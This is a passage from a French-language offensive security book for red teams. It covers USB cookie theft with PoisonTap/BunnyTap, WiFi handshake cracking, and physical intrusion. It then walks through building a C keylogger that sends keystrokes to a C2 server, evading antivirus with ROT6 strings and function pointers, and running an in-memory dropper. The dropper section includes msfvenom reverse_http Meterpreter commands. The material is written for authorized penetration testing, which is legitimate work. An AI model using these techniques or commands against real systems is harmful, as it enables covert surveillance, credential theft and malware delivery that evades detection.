	Permettre à l’attaquant de forcer à distance l’utilisateur à faire des requêtes HTTP et des réponses proxy inversées (GET & POST) avec les cookies de l’utilisateur sur tout domaine comportant une porte dérobée.


De plus :
	BunnyTap ne nécessite pas le déverrouillage de la machine.

	Les portes dérobées et l’accès à distance persistent même après le retrait de l’appareil et la fuite de l’attaquant (https://samy.pl/poisontap).


Du point de vue de l’évaluation physique, vous pénétrez dans leur bureau, vous insérez le Bash Bunny dans chaque machine et vous attendez environ 2 minutes. L’appareil récupérera alors tout le trafic. Si un navigateur est ouvert et actif (avec des publicités, ou plus généralement toute page qui se met à jour régulièrement), BunnyTap s’activera et lancera une requête sur le « top 1 000 000 » des sites Alexa. Si l’utilisateur ciblé est connecté à l’un de ces sites à ce moment-là, BunnyTap capturera tous les cookies de la victime. Maintenant, nous pouvons envoyer ces cookies sur nos propres ordinateurs, remplacer nos cookies par les leurs, et se faire passer pour eux sans jamais connaître leurs mots de passe (voir la Figure 6.11).
[image: FIGURE 6.11 : Utiliser BunnyTap/PoisonTap.]
FIGURE 6.11 : Utiliser BunnyTap/PoisonTap.
Assurez-vous de vérifier toutes les charges utiles de Bash Bunny :
https://bit.ly/324hKiT




WiFi
En ce qui concerne le WiFi, il n’y a pas eu d’évolutions significatives dans la façon dont nous attaquons nos clients. Bien que nous commencions à voir beaucoup moins de réseaux WEP, les attaques procèdent toujours par désauthentification4, aireplay-ng, et capture de paquets. Pour les réseaux sans fil WPA, la meilleure option est de désauthentifier un client, de capturer le processus de handskake, de le passer à hashcat5, et de casser le mot de passe. Ces deux méthodes fonctionnent très bien et mon outil préféré pour cela est la version complètement réécrite de Wifite2 (https://github.com/derv82/wifite2) utilisant une carte sans fil Alfa AWUS036NHA. Il s’agit d’une interface simple à utiliser car elle peut supporter de nombreuses attaques, se place au-dessus de aircrack, et permet de casser facilement les hachages capturés (voir la Figure 6.12).
[image: FIGURE 6.12 : Utiliser Wifite2.]
FIGURE 6.12 : Utiliser Wifite2.
En termes d’équipement, mis à part quelques cartes Alfa, la méthode la plus simple d’effectuer des attaques WiFi plus « fuyantes » consiste à utiliser des WiFi Pineapple Nano (https://bit.ly/2BSqqxS). Si vous avez besoin de faire tourner un faux HostAP6, de rediriger le trafic à travers une autre antenne, de créer de fausses pages pour capturer l’authentification, d’exécuter toutes les attaques MITM7, de lancer Responder et autres attaques, le Nano est un appareillage léger pour y parvenir (voir la Figure 6.13).
Il existe également d’autres excellents outils qui permettent d’effectuer la plupart des attaques d’entreprises. L’un de ces outils est eaphammer. Il est accessible, de même que la liste de ses caractéristiques à l’adresse :
https://github.com/s0lst1c3/eaphammer

Mentionnons notamment :
	le vol d’identifiants RADIUS des réseaux WPA-EAP et WPA2-EAP8 ;

	le vol d’identifiants Active Directory ;

	l’intégration de Responder ;

	la prise en charge des réseaux ouverts et WPA-EAP/WPA2-EAP ;


[image: FIGURE 6.13 : Le WiFi Pineapple Nano.]
FIGURE 6.13 : Le WiFi Pineapple Nano.
	aucune configuration manuelle n’est nécessaire pour la plupart des attaques ;

	aucune configuration manuelle n’est nécessaire pour l’installation et le processus de configuration ;

	exploite la dernière version d’hostapd (2.6) ;

	génère des charges utiles Powershell programmées pour les pivots sans fil indirects ;

	serveur HTTP intégré pour les attaques de portails hostiles ;

	la prise en charge de l’occultation SSID.


Pour plus de détails, reportez-vous à la documentation extrêmement complète d’eaphammer, dont notamment les sections III :
https://bit.ly/2FK9pY6

et IV :
https://bit.ly/2FIwryu


Conclusion
Les attaques physiques sont l’une des plus amusantes à faire dans le genre. Elles font monter l’adrénaline, vous font vous sentir comme un criminel et vous forcent à penser de manière diabolique. Dans nombre de nos engagements, nous passons plusieurs jours à faire le tour d’une entreprise, à observer les rotations des gardes et à déterminer le type des portes d’accès. Nous pourrions aussi essayer de prendre des photos à une grande distance de leurs badges, de noter les heures auxquelles les gens quittent l’immeuble et d’identifier les points faibles qui nous permettraient d’entrer dans l’immeuble.
Du point de vue de la Red Team, nous voulons prendre note des points faibles non seulement sur le plan de la sécurité physique, mais aussi sur le plan humain.
	Si vous déclenchez une alarme, combien de temps faut-il à quelqu’un pour venir vérifier ce qu’il se passe ?

	Les caméras sont-elles surveillées 24 heures sur 24, 7 jours sur 7 ? Si oui, et si quelque chose est suspect, au bout de combien de temps une enquête sera-t-elle ouverte ?

	Les personnels surveillent-ils la porte de derrière ?

	Si on vous arrête, qu’êtes-vous capable de raconter pour vous en sortir ?

	Si vous vous déguisez pour ressembler au personnel de l’établissement (ou à tout autre service tiers), quels sont les types de réactions que vous obtenez ?


Enfin, avant de commencer, assurez-vous d’avoir une mission bien définie, une lettre pour éviter la prison, les numéros de téléphone du responsable de la sécurité physique et de celui des systèmes d’information, et soyez sûr de travailler avec l’entreprise. Plus vous pouvez fournir de détails, et moins vous risquez d’être jeté par terre par les gardes. Mais il n’y a évidemment aucune garantie...


1. Voir par exemple http://thecreativetemp.com/2016/12/05/wtf-is-sshing-into-a-server/.
2. Voir par exemple https://bit.ly/2XeoEyJ.
3. Voir par exemple https://en.wikipedia.org/wiki/DNS_rebinding.
4. Voir par exemple https://en.wikipedia.org/wiki/Wi-Fi_deauthentication_attack.
5. Voir par exemple https://bit.ly/2XM3HQ0.
6. Voir par exemple https://wiki.debian.org/fr/hostap.
7. Voir par exemple https://bit.ly/2DzOMN9.
8. Voir par exemple https://bit.ly/324CmYe.

Chapitre 7
Prendre la défense à revers – Échapper à l’antivirus et à la détection réseau
Écrire du code pour les campagnes de la Red Team
L’une des caractéristiques qui distinguent les membres d’une Red Team et les testeurs d’intrusion est la capacité à s’adapter et à comprendre les différentes protections. Qu’il s’agisse de comprendre l’assemblage de bas niveau, d’écrire du shellcode1, de créer un binaire C2 personnalisé ou de modifier du « code cave2 » pour cacher nos logiciels malveillants, tout cela fait partie de notre travail quotidien. Je rencontre tout le temps des pentesters qui ne savent pas coder et, même si ce n’est pas une exigence, cela provoque certainement un plateau dans leur développement professionnel. Je voulais donc dédier une section à ceux qui n’ont pas vraiment codé dans des langages de bas niveau afin de leur donner un point de départ.

Les bases de la construction d’un keylogger
Les keyloggers (enregistreurs de frappe) sont un outil essentiel pour tout pentesteur/Red Teamer, et cette section vous guidera dans la création d’un keylogger générique. Il y a des situations où nous voulons simplement surveiller continuellement un certain utilisateur, ou bien obtenir des informations d’identification supplémentaires. Cela peut être dû au fait que nous ne pouvons pas pratiquer de mouvement latéral ou d’escalade des privilèges, ou encore que nous voulons simplement surveiller l’utilisateur pour préparer de futures campagnes. Dans de tels cas, nous préférons laisser de côté les enregistreurs de frappe qui fonctionnent continuellement sur le système d’une victime afin de renvoyer tout ce qu’ils saisissent. L’exemple suivant n’est qu’une démonstration de faisabilité, et le but de ce labo est de vous permettre de comprendre un certain nombre de bases pour pouvoir ensuite aller plus loin. Les raisons pour lesquelles tout est écrit en C sont de garder le binaire relativement petit, d’avoir un meilleur contrôle sur l’OS grâce aux langages de bas niveau, et d’échapper à l’antivirus. Par exemple, un keylogger écrit en Python et compilé avec py2exe pourrait être facilement détecté. Nous allons donc prendre un exemple un peu plus complexe.
Mettre en place votre environnement
Voici la configuration de base dont vous avez besoin pour écrire et compiler en C pour produire des binaires Windows et créer le keylogger personnalisé.
	Windows 10 dans une machine virtuelle.

	Installez Visual Studio pour pouvoir utiliser le compilateur en mode ligne de commande avec Vim3 pour l’édition de code.


La meilleure ressource de codage pour la programmation de l’API Windows est de loin le site Web du propre centre de développement de Microsoft avec pour point d’entrée : https://msdn.microsoft.com/library. Vous pouvez bien entendu, même si cela n’est pas indispensable pour notre propos, trouver d’excellents ouvrages consacrés aussi bien à la programmation de l’API Windows qu’au langage C.

Compilation à partir de la source
Dans ces labos, il y aura de multiples échantillons de codes et d’exemples. Le code sera compilé à l’aide du compilateur (Optimizing Compiler) qui est fourni avec Visual Studio Community et accessible depuis l’invite de commandes développeur. Lors de l’installation de VS Community, sélectionnez également les options Développement pour la plateforme Windows universelle et Développement Desktop avec C++. Pour compiler les exemples, ouvrez une instance de l’invite de commandes développeur, puis naviguez jusqu’au dossier qui contient les fichiers source. Enfin, exécutez la commande ‘cl sourcefile.c io.c’. Cela produira un exécutable portant le même nom que le fichier source.
Le compilateur par défaut est sur 32 bits, mais le code peut aussi être compilé en 64 bits. Pour cela, exécutez le script batch situé dans le dossier de Visual Studio. Dans une invite de commandes, accédez à ‘C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Auxiliary\Build’ (notez que ce chemin peut changer en fonction de votre version de Visual Studio). Ensuite, lancez la commande «vcvarsall.bat x86_amd64», ce qui permettra au compilateur Microsoft de compiler des binaires sur 64 bits au lieu de 32 bits. Maintenant, vous pouvez compiler le code en exécutant ‘cl chemin/vers/code.c’.

Cadre de travail
Le but de ce projet est de créer un keylogger qui utilise les fonctions C et Windows de bas niveau pour surveiller les frappes de touches. Ce keylogger utilise les fonctions SetWindowsHookEx et LowLevelKeyboardProc. SetWindowsHookEx permet le réglage de différents types de hooks dans des contextes locaux et globaux. Dans ce cas, le paramètre WH_KEYBOARD_LLL sera utilisé pour extraire les événements clavier de bas niveau. Le prototype de fonction pour SetWindowsHookEx ressemble à ceci (https://bit.ly/2XajWSo) :
HHOOK WINAPI SetWindowsHookEx(
_In_ int idHook,
_In_ HOOKPROC lpfn,
_In_ HINSTANCE hMod,
_In_ DWORD dwThreadId
);

La fonction prend un entier vers un ID de hook, un pointeur vers une fonction, un module de handle, et un ID de thread. Les deux premières valeurs sont les plus importantes. L’ID du hook est un entier spécifiant le type de hook que vous allez installer. Windows fournit les ID disponibles dans la page de documentation de la fonction. Dans notre cas, c’est le code 13, ou WH_KEYBOARD_LL, qui sera utilisé. HOOKPROC est un pointeur vers une fonction de rappel qui sera invoquée à chaque fois que le processus « crocheteur » reçoit des données. Cela signifie que, chaque fois qu’une touche est actionnée, HOOKPROC est appelé. C’est la fonction qui sera utilisée pour enregistrer les frappes dans le fichier. hMod est un handle dans une DLL qui contient la fonction indiquée par lpfn. Cette valeur sera fixée à NULL car une fonction est utilisée dans le même processus que SetWindowsHookEx. dwThreadId sera mis à 0 pour associer le rappel à tous les threads sur le bureau. Enfin, la fonction retourne un entier, qui sera utilisé pour vérifier que le hook a été correctement configuré ou sinon pour sortir.
La deuxième partie nécessaire est la fonction de rappel. Celle-ci réalisera le gros du travail pour ce programme. Cette fonction permet de recevoir les frappes, de les transformer en lettres ASCII et d’effectuer toutes les opérations sur les fichiers. Le prototype du LowLevelKeyBoardProc (https://bit.ly/2Jh5W4n) ressemble à ceci :
LRESULT CALLBACK LowLevelKeyboardProc(
Enint nCode,
Dans WPARAM wParam,
En_ LPARAM lParam
) ;

Examinons ce qui est requis pour LowLevelKeyBoardProc. Les paramètres de la fonction sont un entier qui indique à Windows comment interpréter le message. Deux de ces paramètres sont : (1) wParam, qui est un identificateur du message, et (2) lParam, qui est un pointeur vers une structure KBDLLHOOKSTRUCT. Les valeurs de wParam sont spécifiées dans la page de documentation de la fonction. Il y a aussi une page qui décrit les membres d’une structure KBDLLHOOKSTRUCT. La valeur du lParam KBDLLHOOKSTRUCT est le vkCode, ou Virtual Key Code (https://bit.ly/2xmCK6r). Il s’agit du code de la touche sur laquelle on a appuyé, et non de la lettre proprement dite, car les lettres peuvent varier en fonction de la langue du clavier. Le vkCode devra être converti plus tard pour récupérer la lettre appropriée. Pour l’instant, ne vous inquiétez pas de passer des paramètres à notre fonction de rappel clavier, car ils seront transmis par le système d’exploitation lorsque le hook sera activé.
Ainsi, le squelette initial du code de notre keylogger ressemblerait à ce que propose notre adresse :
https://github.com/cheetz/ceylogger/blob/master/skeleton

Vous noterez dans ce code l’inclusion de la ligne de commentaire pragma, de la boucle de message et de la ligne return CallNextHookEx dans la fonction Callback. La ligne de commentaire pragma est une directive du compilateur pour lier la DLL User32. Cette DLL contient la plupart des appels de fonction qui seront effectués, et doit donc être liée (cela aurait pu également se faire avec les options du compilateur). Ensuite, la boucle de message est nécessaire si les fonctions LowLevelKeyboardProc sont utilisées. Microsoft indique : « Ce hook est appelé dans le contexte du thread qui l’a installé. L’appel se fait en envoyant un message au thread qui a installé le hook. Par conséquent, le thread qui a installé le hook doit avoir une boucle de message. » (https://bit.ly/2Jh5W4n)
CallNextHookEx est retourné car Microsoft indique « Appeler la fonction CallNextHookEx pour enchaîner vers la procédure de hook suivante est optionnel, mais c’est fortement recommandé ; sinon, les autres applications qui ont installé des hooks ne recevront pas de notifications de hook et pourraient en conséquence se comporter incorrectement. Vous devriez appeler CallNextHookEx à moins que vous n’ayez absolument besoin d’empêcher la notification d’être vue par d’autres applications. » (https://bit.ly/306hhv1)
Ensuite, nous allons construire la fonctionnalité de la fonction de rappel à partir d’un handle (ou descripteur) de fichier. Dans le code de l’exemple, il créera un fichier nommé ‘log.txt’ dans le répertoire Windows Temp (C:\Windows\Temp). Le fichier est configuré avec l’argument append parce que le keylogger doit continuellement envoyer les frappes vers le fichier. Si le fichier n’est pas présent dans Temp, un nouveau fichier sera créé.
Pour revenir à KBDLLHOOKSTRUCT, le code déclare un pointeur KBDLLHOOKSTRUCT et l’affecte ensuite à lParam. Ceci permettra d’accéder aux paramètres à l’intérieur de la valeur lParam de chaque pression de touche. Ensuite, le code vérifie si wParam renvoie ‘WM_KEYDOWN’, qui vérifie si la touche a été enfoncée. Ceci doit être vérifié, car le hook va se déclencher aussi bien sur la pression que sur le relâchement d’une touche. Si le code ne vérifiait pas WM_KEYDOWN, le programme enregistrerait chaque touche deux fois.
Après vérification de l’enfoncement d’une touche, il faudrait une instruction vérifiant que le vkCode (code de clé virtuelle) du lParam ne contient pas de touches spéciales. Certaines touches doivent en effet être écrites dans le fichier différemment des autres, par exemple retour, contrôle, majuscule, espace ou tabulation. Dans le cas par défaut, le code devrait convertir le vkCode de la touche dans la lettre réelle. Un moyen facile d’effectuer cette conversion consisterait à utiliser la fonction ToAscii. ToAscii va prendre le vkCode, un ScanCode, un pointeur vers un tableau de l’état du clavier, un pointeur vers le tampon qui recevra le caractère, et une valeur int pour uFlags. Le vkCode et le ScanCode proviennent de la structure des touches, l’état du clavier est un tableau d’octets qui a été déclaré précédemment, le tampon reçoit la sortie, et le paramètre uFlags sera mis à 0.
Il est essentiel de vérifier si certaines touches ont été relâchées, comme la touche Majuscule. Ceci peut être effectué en écrivant une autre instruction if (si) pour vérifier l’état ‘WM_KEYUP’ et puis une instruction switch pour tester les touches concernées. Enfin, le fichier doit être refermé et retourné à CallNextHookEx. La fonction de rappel correspondante est listée à l’adresse :
https://github.com/cheetz/ceylogger/blob/master/callback

À ce stade, le keylogger est complètement fonctionnel. Cependant, il y a quelques problèmes. Le premier est que le lancement du programme génère une invite de commandes, ce qui rend très évident le fait qu’il est en cours d’exécution, l’absence de sortie dans l’invite étant en plus assez suspecte. Un autre problème est que le fait d’avoir le fichier de journalisation sur le même ordinateur que celui où ce keylogger fonctionne n’est pas très utile.
Le problème de l’invite de commandes peut être résolu relativement facilement en remplaçant le point d’entrée standard en C ‘main’ par la fonction WinMain spécifique à Windows. Il semble que la raison pour laquelle cela fonctionne est que WinMain est un point d’entrée pour un programme graphique sous Windows. Bien que le système d’exploitation s’attende à ce que vous vous occupiez de la création des fenêtres pour le programme, nous pouvons simplement lui dire de ne pas en créer, puisque nous avons ce contrôle. Maintenant, le programme génère un processus en arrière-plan sans créer de fenêtres.
Le côté réseau du programme sera simple. Commencez par initialiser les fonctions des sockets Windows en déclarant WSAData (https://bit.ly/2FKOnsi), en démarrant winsock, en effaçant la structure hints et en définissant les valeurs appropriées. Pour notre exemple, le code utilisera AF_UNSPEC pour IPV4 et SOC_STREAM pour la connectivité TCP, et fera appel à la fonction getaddrinfo pour remplir la structure c2 en utilisant ces paramètres. Une fois que tous les paramètres requis sont remplis, un socket peut être créé. Finalement, la fonction socket_connect se connecte au socket.
Une fois la connexion établie, la fonction socket_sendfile va faire l’essentiel du travail. Elle ouvre un handle pour le fichier journal avec la fonction CreateFile de Windows, puis elle obtient la taille du fichier avec la fonction GetFileSizeEx. Une fois cette taille obtenue, le code va attribuer un tampon de cette dimension, plus un pour le remplissage, puis lire le fichier dans ce tampon. Enfin, nous transmettons le contenu du tampon sur le socket.
Côté serveur, un auditeur socat peut être lancé sur le port 3490 du serveur C2 (commande pour démarrer socat : socat - TCP4-LISTEN:3490,fork). Une fois que l’auditeur démarré et le keylogger lancé, vous devriez voir toutes les commandes de l’hôte victime envoyées au serveur C2 toutes les 10 minutes. La version initiale complète 1 du keylogger est accessible ici :
https://github.com/cheetz/ceylogger/tree/master/version1

Avant de compiler version_1.c, n’oubliez pas de modifier getaddrinfo dans io.c pour y spécifier l’adresse IP de votre serveur C2 actuel. Commande pour compiler le code :
cl version_1.c io.c

Une dernière fonction qui devrait être mentionnée est thread_func. thread_func appelle la fonction get_time pour obtenir la minute courante. Elle vérifie ensuite si cette valeur est divisible par 5, puisque l’outil envoie le fichier toutes les 5 minutes. Si c’est le cas, elle configure le socket et tente de se connecter au serveur C2. Si la connexion est réussie, elle envoie le fichier et exécute la fonction de nettoyage. Ensuite, la boucle se met en sommeil pendant 59 secondes. La raison pour laquelle cette phase de sommeil est nécessaire est que tout cela fonctionne dans une boucle permanente, ce qui signifie que la fonction va obtenir l’heure, établir la connexion, se connecter et envoyer le fichier en quelques instants. Sans ces 59 secondes de sommeil, elle finirait par envoyer le fichier peut-être des dizaines de fois dans un intervalle de 1 minute. La fonction de veille permet à la boucle d’attendre suffisamment longtemps pour passer à la minute suivante, et donc que l’envoi du fichier ne s’effectue bien que toutes les 5 minutes.

Offuscation
Il y a des centaines de façons différentes de faire de l’offuscation (obscurcissement). Bien que ce chapitre ne puisse pas toutes les passer en revue, je voulais vous fournir quelques techniques de base et des idées pour contourner l’antivirus.
Comme vous le savez peut-être déjà, les outils antivirus recherchent des chaînes spécifiques. L’une des méthodes les plus simples pouvant être utilisées pour éviter l’antivirus consiste à créer un simple code de rotation et à décaler les caractères de la chaîne. Dans le code ci-dessous, il y a une fonction de décryptage basique qui décale toutes les chaînes de 6 caractères (ROT6). Il en résulte des chaînes brouillées qui peuvent ne pas être détectées par un antivirus. Au démarrage du programme, le code va appeler une fonction de décryptage pour prendre un tableau de chaînes et les renvoyer dans leur format normal, comme ceci :
int decrypt(const char *string, char result[])
{
int key = 6;
int len = strlen(string);
 
for(int n = 0; n < len; n++)
{
int symbol = string[n];
int e_symbol = symbol - key;
result[n] = e_symbol;
}
result[len] = ‘\0’;
 
return 0;
}

Vous pouvez voir un exemple de cette technique dans la version 2 du programme, à l’adresse suivante :
https://github.com/cheetz/ceylogger/tree/master/version2

Une autre méthode qui peut être utilisée pour échapper aux antivirus consiste à appeler les fonctions dans User32.dll en utilisant des pointeurs de fonction, au lieu d’appeler la fonction directement. Pour cela, écrivez d’abord une définition de fonction, puis recherchez son adresse à l’aide de la fonction Windows GetProcAddress, et enfin, affectez le pointeur de définition de fonction à l’adresse reçue de GetProcAddress. Vous trouverez un exemple d’appel de SetWindowsHookEx à l’aide d’un pointeur de fonction à cette adresse :
https://github.com/cheetz/ceylogger/blob/master/version3/version_3.c#L197-L241

(ou https://bit.ly/2RMu42C).
La version 3 du programme combine le codage des chaînes de caractères de l’exemple précédent avec la méthode d’appel des fonctions par pointeurs. Il est intéressant de noter que, si vous soumettez le binaire compilé à VirusTotal, vous ne verrez plus User32.dll dans la section des importations. Sur la Figure 7.1, l’image de gauche correspond à la version 1 et l’image de droite à la version 3 ci-dessus.
[image: FIGURE 7.1 : Le verdict de VirusTotal.]
FIGURE 7.1 : Le verdict de VirusTotal.
Vous pouvez trouver le code source complet de la version 3 à l’adresse suivante :
https://github.com/cheetz/ceylogger/tree/master/version3

Afin de voir si vous avez réussi à échapper à l’antivirus, la meilleure option est de toujours tester le code sur des systèmes actifs. Dans une campagne du monde réel, je ne recommande jamais d’utiliser VirusTotal, car vos exemples peuvent être envoyés aux différents fournisseurs. Cependant, VirusTotal est idéal pour tester/apprendre. Pour nos charges utiles, voici les résultats obtenus avec VirusTotal :
Version 1, 32 bits, détectée par 21 antivirus sur 66 :
	https://bit.ly/303owDE


Version 1, 32 bits, détectée par 14 antivirus sur 69 :
	https://bit.ly/2YnqXAR


Enfin, si nous compilons la version 3 comme une charge utile 64 bits, nous obtenons un score de seulement 1 détection sur 69 (voir la Figure 7.2) :
	https://bit.ly/322BfIP


[image: FIGURE 7.2 : Notre charge utile sur 64 bits donne un excellent résultat !]
FIGURE 7.2 : Notre charge utile sur 64 bits donne un excellent résultat !
Labo :
Que faire maintenant ? Les idées sont sans limites ! Une petite correction pourrait consister à obscurcir/chiffrer le contenu du fichier log.txt, ou d’initier un socket crypté une fois le programme démarré et d’enregistrer les frappes directement vers ce socket. Du côté de la réception, le serveur reconstruirait le flux et l’écrirait dans un fichier. Cela empêcherait les données du journal d’être vues en texte clair, comme c’est le cas actuellement, et éviterait également que d’autres artefacts touchent au disque.
Une autre amélioration importante serait de convertir l’exécutable en DLL, puis d’injecter la DLL dans un processus actif. Cela empêcherait même l’information d’apparaître dans le gestionnaire de tâches. Bien qu’il existe des programmes qui vous montreront toutes les DLL actuellement chargées sur un système, l’injection de la DLL serait beaucoup plus furtive. En outre, il existe certains programmes qui peuvent charger une DLL à partir de la mémoire sans toucher au disque, ce qui réduit encore votre empreinte « forensique ».


Injecteurs personnalisés
Les droppers (ou injecteurs4) sont une partie importante de la boîte à outils de la Red Team, vous permettant d’exécuter vos implantations sans les avoir sur l’ordinateur de la victime. En les gardant hors du disque, vous réduisez le risque qu’ils soient compromis, ce qui vous permet d’utiliser votre travail de multiples fois. Dans ce chapitre, nous allons étudier un dropper personnalisé qui importe soit du shellcode soit une DLL résidant uniquement en mémoire.
Lors de la conception d’un dropper et du serveur correspondant, il y a certaines choses que vous devez garder présentes à l’esprit. Le but du dropper est d’être une pièce de votre arsenal à « utiliser et brûler », ce qui signifie que vous devrez supposer que son utilisation sous sa forme actuelle déclenchera une détection dans d’autres campagnes.
Afin de faciliter les campagnes futures, vous voudrez développer un serveur standard, que vous pourrez utiliser à diverses reprises. Dans cet exemple, vous allez voir une implémentation réseau de base, qui permet à de nouveaux gestionnaires d’être enregistrés pour différents messages. Bien que cet exemple ne comprenne que des gestionnaires pour un type de message LOAD_BLOB, vous pouvez facilement en ajouter de nouveaux pour étendre les fonctionnalités. Il s’agit d’une bonne base de référence, car toutes vos communications sont normalisées.
Une autre étape importante lors de l’écriture de droppers, ou tout autre chose dont vous vous attendez à ce qu’elle soit trouvée rapidement et décodée par rétro-ingénierie, est d’épurer vos chaînes. Les messages de débogage sont excellents lorsque vous commencez à créer un logiciel, vous évitant ainsi d’avoir à analyser manuellement ce qu’indique votre débogueur pour trouver ce qui ne va pas. Cependant, si ces messages sont accidentellement laissés dans la version finale, vous rendrez le travail de la personne qui analysera votre malware beaucoup plus facile. Souvent, les antivirus enregistrent une signature virale sur une chaîne de caractères unique ou sur une valeur constante. Dans l’exemple, j’utilise InfoLog() et ErrorLog(), que le préprocesseur compilera en générant des builds. L’utilisation de ces macros, qui vérifient si _DEBUG est défini, dictera s’il faut inclure ou non les appels pertinents.
Le code de notre dropper personnalisé est disponible à l’adresse suivante :
https://github.com/cheetz/thpDropper

Shellcode ou DLL
Dans l’exemple qui suit, vous allez pouvoir charger le dropper soit avec des DLL complètes, soit avec du shellcode. Généralement, pour de nombreuses implantations publiques, vous pouvez générer une DLL complète, qui téléchargera la DLL et l’exécutera ensuite en mémoire. Le chargement direct de la DLL par votre dropper vous évitera d’effectuer quelques appels API supplémentaires, tout en faisant preuve de plus de discrétion. Certaines implémentations peuvent ne pas se charger correctement du fait de la modification de leurs en-têtes. Si l’une de vos implantations ne fonctionne pas correctement et inclut une méthode pour générer du shellcode, cela devrait résoudre votre problème. Ceci vient du fait que leur chargeur personnalisé est généralement écrit pour corriger les en-têtes et les charger à partir de cette DLL.
Il existe aussi une grande quantité de shellcode disponible en ligne. Des sites comme shell-storm.org contiennent des archives de shellcode écrites pour des projets spécifiques, dont certaines pourraient être utiles pour vos campagnes.

Lancer le serveur
Construire le serveur est simple. Partant de votre image Kali personnalisée, vous devrez exécuter les commandes suivantes :
Pour une première compilation :
	cd /opt/

	sudo apt-get install build-essential libssl-dev cmake git

	git clone https://github.com/cheetz/thpDropper.git

	cd thpDropper/thpd

	mkdir build

	cd build

	cmake ..

	make


Pour les compilations ultérieures, tout ce que vous aurez à faire est :
	cd /opt/thpd/build

	make


Pour lancer le serveur, après l’avoir compilé, vous devrez taper :
	./thpd[chemin vers le shellcode/DLL][TypeChargement]


Les valeurs suivantes sont actuellement valides pour le type de chargement :
	0
	Shellcode
	Envoie des octets shellcode bruts au client

	1
	DLL
	Envoie un fichier DLL normal qui sera chargé en miroir dans le client




Bien que ces charges utiles (shellcode/DLL) puissent provenir de n’importe quel type d’outil C2 (Metasploit/Meterpreter, Cobalt Strike, etc.), nous allons utiliser une charge utile Meterpreter pour nos exemples :
	Pour les charges utiles Shellcode :
	msfvenom -a x64 -p windows/x64/meterpreter/reverse_http LHOST=<Votre_IP> LPORT=<PORT> EnableStageEncoding=True -f c

	Notez que vous devrez récupérer la sortie de msfvenom et ne prendre que le shellcode brut (en supprimant les guillemets, les nouvelles lignes, et tout ce qui n’est pas du shellcode).

	Pour démarrer le serveur : ./thpd ./shellcode.txt 0



	Pour les charges utiles DLL :
	msfvenom -a x64 -p windows/x64/meterpreter/reverse_http LHOST=<Votre_IP> LPORT=<PORT> EnableStageEncoding=True -f dll > msf.dll

	Pour démarrer le serveur : ./thpd ./msf.dll 1





Client
Le client fonctionne de la même manière que le serveur, en enregistrant un gestionnaire pour chaque type de message. Au démarrage, il tentera de rappeler le serveur, fera n tentatives s’il n’arrive pas à se connecter ou à se déconnecter, et il enverra un message demandant un blob à charger. Le serveur répondra par un BLOB_PACKET, que le client reconnaîtra et enverra via le champ head->msg. Tous les paquets doivent avoir le champ HEAD_PACKET défini au départ, sinon le gestionnaire de réseau ne pourra pas les reconnaître et les rejettera. L’utilisation de la fonction BuildPacketAndSend() configurera correctement le paquet d’en-tête, permettant à l’autre côté de le décoder.
Pour construire le client, vous aurez besoin de Visual Studio et de Git. Commencez par cloner le dépôt Git (https://github.com/cheetz/thpDropper) dans un dossier, puis ouvrez thpDropper.sln dans Visual Studio. Assurez-vous d’avoir l’architecture appropriée pour le code que vous déposez, et définissez-la de manière à ce qu’elle soit compilée pour la publication si vous ne voulez pas de messages de débogage. Une fois cela fait, appuyez sur F7, et Visual Studio devrait générer les exécutables pour vous.

Configurer le client et le serveur
L’essentiel de la configuration du client est accessible dans le fichier globals.cpp, les trois principaux paramètres de configuration que vous souhaitez modifier sont le nom d’hôte, le port et la durée du paquet. Il y a des commentaires à côté de chacun d’eux, ce qui vous explique de quoi il s’agit. Bien que vous n’ayez pas besoin de changer la signature du paquet, le faire modifiera les deux premiers octets de chaque paquet envoyé, qui sont utilisés pour identifier la validité de la connexion sur le serveur. Si vous souhaitez obscurcir l’IP et le port, vous pourriez écrire du code pour les décrypter lorsqu’ils deviennent accessibles, et ne stocker que la version cryptée dans le binaire.
Côté serveur, dans le fichier main.cpp, vous pouvez modifier le port sur lequel le serveur écoute. Cette configuration se trouve dans la fonction main comme seul paramètre de StartupNetworking(). Si vous décidez de changer la signature du paquet dans le client, vous devrez modifier le serveur pour refléter cela. Cela signifie que, dans include/lib/networking.h, la valeur de PACKET_SIGNATURE doit correspondre à la valeur globale dans le client.

Ajout de nouveaux gestionnaires
La base de code réseau est configurée pour vous permettre d’ajouter facilement de nouvelles fonctionnalités. Pour cela, vous devrez créer une fonction de rappel, avec le prototype de void name() sur le client, ou de void name(int conn) sur le serveur. Ceux-ci seront enregistrés dans un tableau de gestionnaires pour vos types de messages, et ils seront appelés dès que le paquet principal sera validé. Il est de votre responsabilité dans ces fonctions d’effectuer la lecture de votre paquet et les données du tampon recv. Vous voudrez appeler recv() vers un pointeur sur la structure de votre paquet, de même qu’avec la taille de ce paquet. Ceci fournira des informations sur la quantité à élever du tampon recv. Dans cet exemple, vous pouvez voir que nous lisons le BLOB_PACKET dans notre gestionnaire, puis que nous utilisons la valeur stockée dans packet.payloadLen pour dicter combien d’octets nous devions encore lire. Le même principe peut être appliqué à d’autres types de données. Si vous voulez envoyer une chaîne contenant le chemin d’accès à un fichier sur l’ordinateur de la victime, vous devriez avoir dans le paquet du gestionnaire un champ décrivant la longueur de la chaîne, que vous enverrez après le paquet.

Exercices supplémentaires
Ce code vous donnera une base solide sur laquelle travailler, mais il existe de multiples manières vous permettant de l’améliorer. L’ajout d’une simple couche de chiffrage à la couche de transport serait très simple. Vous voudriez créer vos propres enveloppes d’envoi et de réception, qui cryptent et décryptent avant d’appeler les fonctions d’envoi et de réception. Une façon extrêmement simple de le faire consisterait à utiliser comme clé un XOR multioctets qui, bien que ce soit peu sécurisé, changerait au moins suffisamment vos messages pour qu’ils ne soient pas facilement identifiables. Un autre exercice pourrait consister à étendre la fonction LoadBlobHandler() pour avoir un nouveau LOAD_TYPE, qui chargerait un pilote signé si le client est exécuté en tant qu’administrateur. Ceci peut être accompli en utilisant les appels winapi CreateService() et StartService(). Cependant, gardez à l’esprit que le chargement d’un pilote nécessite qu’il soit placé sur le disque, ce qui déclenchera un pilote de minifiltre du système de fichiers pour le récupérer.


Recompiler Metasploit/Meterpreter pour contourner l’antivirus et la détection de réseau
